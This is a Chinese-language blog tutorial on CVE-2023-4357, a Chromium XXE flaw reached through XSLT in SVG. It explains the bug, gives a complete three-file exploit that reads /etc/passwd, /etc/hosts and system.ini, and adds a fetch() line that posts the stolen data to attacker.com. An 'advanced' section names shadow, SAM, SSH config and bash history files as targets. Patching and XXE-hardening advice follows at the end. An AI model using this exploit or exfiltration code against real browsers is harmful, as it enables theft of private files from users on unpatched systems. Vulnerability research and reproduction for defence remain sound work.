1. CVE-2023-4357漏洞概述
最近在安全圈里闹得沸沸扬扬的CVE-2023-4357漏洞,本质上是一个典型的XXE(XML External Entity)漏洞。简单来说,就是攻击者可以通过精心构造的HTML页面,让谷歌浏览器读取本不该被访问的系统文件。这个漏洞影响范围相当广,所有基于Chromium内核的浏览器都可能中招,包括我们日常使用的微信内置浏览器。
我第一次测试这个漏洞时也很惊讶,没想到一个简单的XML解析问题能造成这么大的安全隐患。漏洞的核心在于Chrome对XML文件中的外部实体引用没有做好充分的校验,导致攻击者可以通过file://协议读取任意文件。实测下来,从Linux的/etc/passwd到Windows的system.ini,都能被轻松读取。
2. 漏洞原理深度解析
2.1 XXE漏洞工作机制
XXE漏洞的全称是XML External Entity Injection,中文叫XML外部实体注入。想象一下XML就像是一个可以自己组装的乐高积木,而外部实体就是其中一些特殊的积木块,它们可以从外部获取内容。正常情况下这些积木块应该只能获取允许的内容,但漏洞出现时,攻击者可以偷偷替换成危险的积木块。
在CVE-2023-4357这个案例中,漏洞触发点在于SVG文件中的XSLT转换。SVG本身是一种矢量图形格式,但它支持嵌入XSLT样式表来处理XML数据。攻击者正是利用了这个特性,通过document()函数加载外部XML文件,进而触发XXE漏洞。
2.2 漏洞利用链分析
这个漏洞的利用需要三个关键文件协同工作:
- 一个HTML文件作为入口点
- 一个SVG文件负责XSLT转换
- 一个XML文件定义恶意实体
整个攻击流程是这样的:浏览器加载HTML → HTML内嵌iframe加载SVG → SVG执行XSLT转换 → XSLT加载恶意XML → XML中的外部实体被解析 → 敏感文件内容被读取并返回。
我在本地测试时发现,即使是最新版的微信浏览器(基于Chromium内核),只要版本低于116.0.5845.96,这个漏洞依然有效。这说明很多基于Chromium的第三方浏览器都可能存在相同的安全隐患。
3. 漏洞复现实战指南
3.1 环境准备与文件配置
要复现这个漏洞,我们需要准备以下三个文件:
首先是c.html,这是我们的攻击入口页面:
<body> <div id="r"></div> <script> const ifr = document.createElement('iframe'); ifr.style.display = 'none'; document.body.appendChild(ifr); ifr.onload = function() { const ifrContent = ifr.contentWindow.document.documentElement.innerHTML; r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`; } ifr.src = "./c2.svg"; </script> </body>然后是关键的c2.svg文件,负责XSLT转换:
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" font-size="18" width="100%" height="100%"> <body xmlns="http://www.w3.org/1999/xhtml"> <xmp> <xsl:copy-of select="document('./c3.xml')"/> </xmp> </body> </foreignObject> </svg> </xsl:template> </xsl:stylesheet>最后是c3.xml,定义了我们想要读取的外部实体:
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="?#"?> <!DOCTYPE p [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> <!ENTITY hosts SYSTEM "file:///etc/hosts"> <!ENTITY group SYSTEM "file://localhost/etc/group"> <!ENTITY sysini SYSTEM "file:///c:/windows/system.ini"> ]> <p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;" id="hosts">/etc/hosts: &hosts; </p> <p style="border-style: dotted;">/etc/group: &group; </p> <p style="border-style: dotted;">c:/windows/system.ini: &sysini; </p> </p>3.2 本地测试与验证
准备好这三个文件后,我们可以用Python快速搭建一个测试环境:
python3 -m http.server 8080然后在微信电脑版中访问http://localhost:8080/c.html,如果浏览器版本低于116.0.5845.96,就能看到系统文件内容被成功读取。
我在测试过程中发现几个有趣的现象:
- Windows和Linux系统的文件路径表示方式略有不同
- 读取/etc/passwd这样的文件成功率最高
- 某些受保护的文件可能需要更高权限才能读取
4. 进阶利用技巧
4.1 数据外传技术
基础的漏洞复现只是把读取到的数据显示在页面上,但真正的攻击者往往希望把这些敏感数据发送到自己的服务器。这可以通过几种方式实现:
- 使用XMLHttpRequest或fetch API发送数据
- 通过img标签的src属性外传数据
- 利用form表单自动提交
这里给出一个简单的数据外传示例:
// 在c.html的ifr.onload回调中添加 fetch('https://attacker.com/steal', { method: 'POST', body: ifrContent });4.2 敏感文件定位技巧
不是所有系统文件的路径都像/etc/passwd这样众所周知。有经验的攻击者会尝试读取以下文件:
- Linux系统的shadow文件(需要更高权限)
- Windows系统的SAM文件
- 各种配置文件(如.ssh/config, .bash_history)
- 数据库连接配置文件
在实际测试中,我发现通过一些技巧可以枚举出更多有价值的文件路径。比如先读取/etc/passwd获取用户列表,再尝试读取各个用户的主目录下的配置文件。
5. 防御措施与最佳实践
5.1 即时修复方案
对于普通用户来说,最简单的防御方法就是立即更新Chrome浏览器到最新版本。谷歌已经在116.0.5845.96及之后的版本中修复了这个漏洞。
对于企业管理员,我建议:
- 强制推送浏览器更新
- 暂时禁用SVG文件的XSLT处理功能
- 监控异常的文件访问行为
5.2 开发者防护建议
如果是Web开发者,可以采取以下措施来防范类似的XXE攻击:
- 在服务器端禁用XML外部实体解析
- 对用户上传的SVG/XML文件进行严格校验
- 实施严格的内容安全策略(CSP)
对于Node.js开发者,可以使用以下代码来安全地解析XML:
const libxml = require('libxmljs'); const xml = libxml.parseXml(xmlContent, { noblanks: true, noent: false, // 关键!禁用外部实体 nocdata: true });5.3 长期安全策略
从长远来看,我认为应该:
- 定期进行安全审计
- 建立漏洞响应机制
- 对开发人员进行安全培训
- 采用防御性编程实践
我在实际项目中发现,很多XXE漏洞都是由于开发人员对XML处理不够了解导致的。通过加强培训和代码审查,可以显著降低这类风险。